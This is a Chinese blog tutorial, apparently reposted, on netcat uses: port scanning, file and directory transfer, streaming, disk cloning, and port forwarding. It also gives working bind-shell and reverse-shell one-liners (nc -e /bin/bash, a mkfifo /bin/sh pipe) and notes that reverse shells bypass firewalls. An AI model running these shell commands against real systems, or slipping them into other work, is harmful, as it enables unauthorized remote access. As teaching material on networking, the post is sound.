Linux Netcat 命令——網(wǎng)絡(luò)工具中的瑞士軍刀

本文絕大部分為轉(zhuǎn)發(fā),最后少部分結(jié)合一些資料做了點(diǎn)補(bǔ)充。原文在《Linux Netcat 命令——網(wǎng)絡(luò)工具中的瑞士軍刀》,在這里向提供原文的前輩們表示致敬!

netcat 是網(wǎng)絡(luò)工具中的瑞士軍刀,它能通過 TCP 和 UDP 在網(wǎng)絡(luò)中讀寫數(shù)據(jù)。通過與其他工具結(jié)合和重定向,你可以在腳本中以多種方式使用它。使用 netcat 命令所能完成的事情令人驚訝。

netcat 所做的就是在兩臺(tái)電腦之間建立鏈接并返回兩個(gè)數(shù)據(jù)流,在這之后所能做的事就看你的想像力了。你能建立一個(gè)服務(wù)器,傳輸文件,與朋友聊天,傳輸流媒體或者用它作為其它協(xié)議的獨(dú)立客戶端。

一、Netcat 使用實(shí)例介紹

下面是一些使用 netcat 的例子,環(huán)境:

機(jī)器名 IP
A 172.31.100.7
B 172.31.100.23

1、端口掃描

端口掃描經(jīng)常被系統(tǒng)管理員和黑客用來發(fā)現(xiàn)在一些機(jī)器上開放的端口,幫助他們識(shí)別系統(tǒng)中的漏洞。

$ nc -z -v -n 172.31.100.7 21-25

可以運(yùn)行在 TCP 或者 UDP 模式,默認(rèn)是 TCP,-u 參數(shù)調(diào)整為 UDP。

參數(shù) 說明
z 參數(shù)告訴netcat使用 0 I/O,連接成功后立即關(guān)閉連接, 不進(jìn)行數(shù)據(jù)交換
v 參數(shù)指使用冗余選項(xiàng)(譯者注:即詳細(xì)輸出)
n 參數(shù)告訴netcat 不要使用DNS反向查詢IP地址的域名

這個(gè)命令會(huì)打印 21 到 25 所有開放的端口。Banner 是一個(gè)文本,Banner 是一個(gè)你連接的服務(wù)發(fā)送給你的文本信息。當(dāng)你試圖鑒別漏洞或者服務(wù)的類型和版本的時(shí)候,Banner 信息是非常有用的。但是,并不是所有的服務(wù)都會(huì)發(fā)送 Banner。

一旦你發(fā)現(xiàn)開放的端口,你可以容易的使用 netcat 連接服務(wù)抓取他們的 Banner。

$ nc -v 172.31.100.7 21

2、Chat Server

假如你想和你的朋友聊聊,有很多的軟件和信息服務(wù)可以供你使用。但是,如果你沒有這么奢侈的配置,比如你在計(jì)算機(jī)實(shí)驗(yàn)室,所有的對(duì)外的連接都是被限制的,你怎樣和整天坐在隔壁房間的朋友溝通呢?不要郁悶了,netcat 提供了這樣一種方法,你只需要?jiǎng)?chuàng)建一個(gè) Chat 服務(wù)器,一個(gè)預(yù)先確定好的端口,這樣子他就可以聯(lián)系到你了。

Server

$ nc -l 1567

netcat 命令在 1567 端口啟動(dòng)了一個(gè) TCP 服務(wù)器,所有的標(biāo)準(zhǔn)輸出和輸入會(huì)輸出到該端口。輸出和輸入都在此 Shell 中展示。

Client

$ nc 172.31.100.7 1567

不管你在機(jī)器 B 上鍵入什么都會(huì)出現(xiàn)在機(jī)器 A 上。

3、文件傳輸

大部分時(shí)間中,我們都在試圖通過網(wǎng)絡(luò)或者其他工具傳輸文件。有很多種方法,比如:FTP、SCP、SMB 等等,但是當(dāng)你只是需要臨時(shí)或者一次傳輸文件,真的值得浪費(fèi)時(shí)間來安裝配置一個(gè)軟件到你的機(jī)器上嘛。假設(shè),你想要傳一個(gè)文件 file.txt 從 A 到 B。A 或者 B 都可以作為服務(wù)器或者客戶端,以下,讓 A 作為服務(wù)器,B 為客戶端。

Server

$ nc -l 1567 < file.txt

Client

$ nc -n 172.31.100.7 1567 > file.txt

這里我們創(chuàng)建了一個(gè)服務(wù)器在 A 上并且重定向 netcat 的輸入為文件 file.txt,那么當(dāng)任何成功連接到該端口,netcat 會(huì)發(fā)送 file 的文件內(nèi)容。
在客戶端我們重定向輸出到file.txt,當(dāng) B 連接到 A,A 發(fā)送文件內(nèi)容,B 保存文件內(nèi)容到file.txt

沒有必要?jiǎng)?chuàng)建文件源作為 Server,我們也可以相反的方法使用。像下面的我們發(fā)送文件從 B 到 A,但是服務(wù)器創(chuàng)建在 A 上,這次我們僅需要重定向 netcat 的輸出并且重定向 B 的輸入文件。

B作為Server

Server

$nc -l 1567 > file.txt

Client

nc 172.31.100.23 1567 < file.txt

4、目錄傳輸

發(fā)送一個(gè)文件很簡單,但是如果我們想要發(fā)送多個(gè)文件,或者整個(gè)目錄,一樣很簡單,只需要使用壓縮工具 tar,壓縮后發(fā)送壓縮包。

如果你想要通過網(wǎng)絡(luò)傳輸一個(gè)目錄從 A 到 B。

Server

$tar -cvf – dir_name | nc -l 1567

Client

$nc -n 172.31.100.7 1567 | tar -xvf -

這里在 A 服務(wù)器上,我們創(chuàng)建一個(gè) tar 歸檔包并且通過-在控制臺(tái)重定向它,然后使用管道,重定向給 netcat,netcat 可以通過網(wǎng)絡(luò)發(fā)送它。

在客戶端我們下載該壓縮包通過netcat 管道然后打開文件。

如果想要節(jié)省帶寬傳輸壓縮包,我們可以使用 bzip2 或者其他工具壓縮。

Server

$ tar -cvf – dir_name| bzip2 -z | nc -l 1567

通過bzip2壓縮

Client

$ nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -

使用bzip2解壓

5、加密你通過網(wǎng)絡(luò)發(fā)送的數(shù)據(jù)

如果你擔(dān)心你在網(wǎng)絡(luò)上發(fā)送數(shù)據(jù)的安全,你可以在發(fā)送你的數(shù)據(jù)之前用如 mcrypt 的工具加密。

Server

$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

使用 mcrypt 工具加密數(shù)據(jù)。

Client

$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

使用 mcrypt 工具解密數(shù)據(jù)。
以上兩個(gè)命令會(huì)提示需要密碼,確保兩端使用相同的密碼。

這里我們是使用 mcrypt 用來加密,使用其它任意加密工具都可以。

6、流視頻

雖然不是生成流視頻的最好方法,但如果服務(wù)器上沒有特定的工具,使用 netcat,我們?nèi)匀挥邢M龀蛇@件事。

Server

$cat video.avi | nc -l 1567

這里我們只是從一個(gè)視頻文件中讀入并重定向輸出到 netcat 客戶端

$ nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -

這里我們從 socket 中讀入數(shù)據(jù)并重定向到 mplayer。

7、克隆一個(gè)設(shè)備

如果你已經(jīng)安裝配置一臺(tái) Linux 機(jī)器并且需要重復(fù)同樣的操作對(duì)其他的機(jī)器,而你不想再重復(fù)配置一遍。不再需要重復(fù)配置安裝的過程,只啟動(dòng)另一臺(tái)機(jī)器的一些引導(dǎo)可以隨身碟和克隆你的機(jī)器。

克隆 Linux PC 很簡單,假如你的系統(tǒng)在磁盤 /dev/sda上。

Server

$ dd if=/dev/sda | nc -l 1567

Client

$ nc -n 172.31.100.7 1567 | dd of=/dev/sda

dd 是一個(gè)從磁盤讀取原始數(shù)據(jù)的工具,我通過 netcat 服務(wù)器重定向它的輸出流到其他機(jī)器并且寫入到磁盤中,它會(huì)隨著分區(qū)表拷貝所有的信息。但是如果我們已經(jīng)做過分區(qū)并且只需要克隆 root 分區(qū),我們可以根據(jù)我們系統(tǒng) root 分區(qū)的位置,更改 sda 為sda1,sda2.等等。

8、打開一個(gè) Shell

我們已經(jīng)用過遠(yuǎn)程 shell——使用 telnet 和ssh,但是如果這兩個(gè)命令沒有安裝并且我們沒有權(quán)限安裝他們,我們也可以使用 netcat 創(chuàng)建遠(yuǎn)程 Shell。

8.1、假設(shè)你的 netcat 支持 -c -e 參數(shù)(默認(rèn) netcat)

Server

$ nc -l 1567 -e /bin/bash -i

Client

$ nc 172.31.100.7 1567

這里我們已經(jīng)創(chuàng)建了一個(gè) netcat 服務(wù)器并且表示當(dāng)它連接成功時(shí)執(zhí)行 /bin/bash

8.2、假如 netcat 不支持 -c 或者 -e 參數(shù)(OpenBSD Netcat),我們?nèi)匀荒軌騽?chuàng)建遠(yuǎn)程 Shell。

Server

$ mkfifo /tmp/tmp_fifo
$ cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo

這里我們創(chuàng)建了一個(gè) fifo 文件,然后使用管道命令把這個(gè) fifo 文件內(nèi)容定向到 shell 2>&1中。是用來重定向標(biāo)準(zhǔn)錯(cuò)誤輸出和標(biāo)準(zhǔn)輸出,然后管道到 netcat 運(yùn)行的端口 1567 上。至此,我們已經(jīng)把 netcat 的輸出重定向到 fifo 文件中。

說明:

  • 從網(wǎng)絡(luò)收到的輸入寫到 fifo 文件中
  • cat 命令讀取 fifo 文件并且其內(nèi)容發(fā)送給 sh 命令
  • sh 命令進(jìn)程受到輸入并把它寫回到 netcat
  • netcat 通過網(wǎng)絡(luò)發(fā)送輸出到 Client

至于為什么會(huì)成功是因?yàn)楣艿朗姑钇叫袌?zhí)行,fifo 文件用來替代正常文件,因?yàn)?fifo 使讀取等待而如果是一個(gè)普通文件,cat 命令會(huì)盡快結(jié)束并開始讀取空文件。

在客戶端,僅僅簡單連接到服務(wù)器

Client

$ nc -n 172.31.100.7 1567

你會(huì)得到一個(gè) Shell 提示符在客戶端

9、反向 Shell

反向 Shell 是指在客戶端打開的 Shell。反向 Shell 這樣命名是因?yàn)椴煌谄渌渲茫@里服務(wù)器使用的是由客戶提供的服務(wù)。

Server

$ nc -l 1567

在客戶端,簡單地告訴 netcat 在連接完成后,執(zhí)行 Shell。

Client

$ nc 172.31.100.7 1567 -e /bin/bash

現(xiàn)在,什么是反向 Shell 的特別之處呢?
  反向 Shell 經(jīng)常被用來繞過防火墻的限制,如阻止入站連接。例如,我有一個(gè)專用 IP 地址為 172.31.100.7,我使用代理服務(wù)器連接到外部網(wǎng)絡(luò)。如果我想從網(wǎng)絡(luò)外部訪問這臺(tái)機(jī)器,如 1.2.3.4 的 Shell,那么我會(huì)用反向外殼用于這一目的。

10、指定源端口

假設(shè)你的防火墻過濾除 25 端口外的其它所有端口,你需要使用 -p 選項(xiàng)指定源端口。

Server

$nc -l 1567

Client

$nc 172.31.100.7 1567 -p 25

使用 1024 以內(nèi)的端口需要 root 權(quán)限。

該命令將在客戶端開啟 25 端口用于通訊,否則將使用隨機(jī)端口。

11、指定源地址

假設(shè)你的機(jī)器有多個(gè)地址,希望明確指定使用哪個(gè)地址用于外部數(shù)據(jù)通訊。我們可以在 netcat 中使用 -s 選項(xiàng)指定 IP 地址。

Server

$ nc -u -l 1567 < file.txt

Client

$ nc -u 172.31.100.7 1567 -s 172.31.100.5 > file.txt

該命令將綁定地址 172.31.100.5。

這僅僅是使用 netcat 的一些示例。

其它用途有:

  • 使用 -t 選項(xiàng)模擬 Telnet 客戶端
  • HTTP 客戶端用于下載文件
  • 連接到郵件服務(wù)器,使用 SMTP 協(xié)議檢查郵件
  • 使用 ffmpeg 截取屏幕并通過流式傳輸分享,等等。其它更多用途。

簡單來說,只要你了解協(xié)議就可以使用netcat作為網(wǎng)絡(luò)通訊媒介,實(shí)現(xiàn)各種客戶端。

12、端口轉(zhuǎn)發(fā)(補(bǔ)充)

12.1、背景
  • WebServer 在 80 端口啟動(dòng) Web 服務(wù)
  • Client 想訪問 WebServer:80,但是由于網(wǎng)絡(luò)限制不能訪問 80 端口
  • Client 希望訪問 WebServer:9000,再轉(zhuǎn)發(fā)至 WebServer:80
12.2、實(shí)現(xiàn)方法

WebServer

# 創(chuàng)建管道文件
$ mkfifo /tmp/fifo
# 通過 nc 連接到 80 端口的 Web 服務(wù),同時(shí)監(jiān)聽 9000 端口
# 利用管道,將對(duì) 9000 端口的訪問,轉(zhuǎn)發(fā)至 80 端口
$ cat /tmp/fifo | nc localhost 80 | nc -l 9000 > /tmp/fifo

二、參考資料

(完)

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 229,460評(píng)論 6 538
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 99,067評(píng)論 3 423
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 177,467評(píng)論 0 382
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經(jīng)常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,468評(píng)論 1 316
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 72,184評(píng)論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 55,582評(píng)論 1 325
  • 那天,我揣著相機(jī)與錄音,去河邊找鬼。 笑死,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,616評(píng)論 3 444
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢(mèng)啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 42,794評(píng)論 0 289
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 49,343評(píng)論 1 335
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 41,096評(píng)論 3 356
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 43,291評(píng)論 1 371
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,863評(píng)論 5 362
  • 正文 年R本政府宣布,位于F島的核電站,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 44,513評(píng)論 3 348
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,941評(píng)論 0 28
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 36,190評(píng)論 1 291
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 52,026評(píng)論 3 396
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 48,253評(píng)論 2 375

推薦閱讀更多精彩內(nèi)容